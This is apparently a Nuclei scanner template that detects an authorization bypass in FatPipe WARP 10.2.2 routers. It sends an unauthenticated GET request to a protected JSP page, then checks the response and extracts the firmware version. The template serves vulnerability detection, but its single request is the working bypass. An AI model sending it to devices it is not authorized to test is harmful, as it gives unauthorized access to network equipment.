id: fatpipe-auth-bypass

info:
  name: FatPipe WARP 10.2.2  - Authorization Bypass
  author: gy741
  severity: high
  description: FatPipe WARP 10.2.2 contains an authorization bypass vulnerability. Improper access control occurs when the application provides direct access to objects based on user-supplied input. As a result, an attacker can bypass proper authorization and access resources behind protected pages.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5682.php
    - https://www.fatpipeinc.com/support/advisories.php
  metadata:
    max-request: 1
  tags: fatpipe,auth-bypass,router

http:
  - raw:
      - |
        GET /fpui/jsp/index.jsp HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "productType"
          - "type:"
          - "version:"
          - "<title>FatPipe Networks</title>"
        condition: and

    extractors:
      - type: regex
        part: body
        regex:
          - 'version: "([0-9.a-z]+)"'
# digest: 4a0a00473045022100c871d2cae71b1699e7c531337c611848d64571d9c84be4962af2b67243f9866902202217087208a130fe56783e7a8b7f9262c0cafadcb71b5ec49e8fe179d6898bc7:922c64590222798bb761d5b6d8e72950